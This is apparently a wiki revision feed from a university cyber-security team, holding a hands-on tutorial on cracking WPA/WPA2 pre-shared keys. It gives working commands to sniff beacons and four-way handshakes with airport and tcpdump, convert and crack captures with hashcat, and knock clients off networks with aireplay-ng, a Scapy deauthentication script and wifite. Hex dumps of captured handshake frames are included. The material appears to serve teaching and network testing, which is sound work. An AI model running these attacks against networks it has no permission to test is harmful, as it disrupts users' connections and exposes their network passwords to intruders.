banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17550</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17550"/>
		<updated>2024-12-18T17:35:53Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Put your interface in monitor mode */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
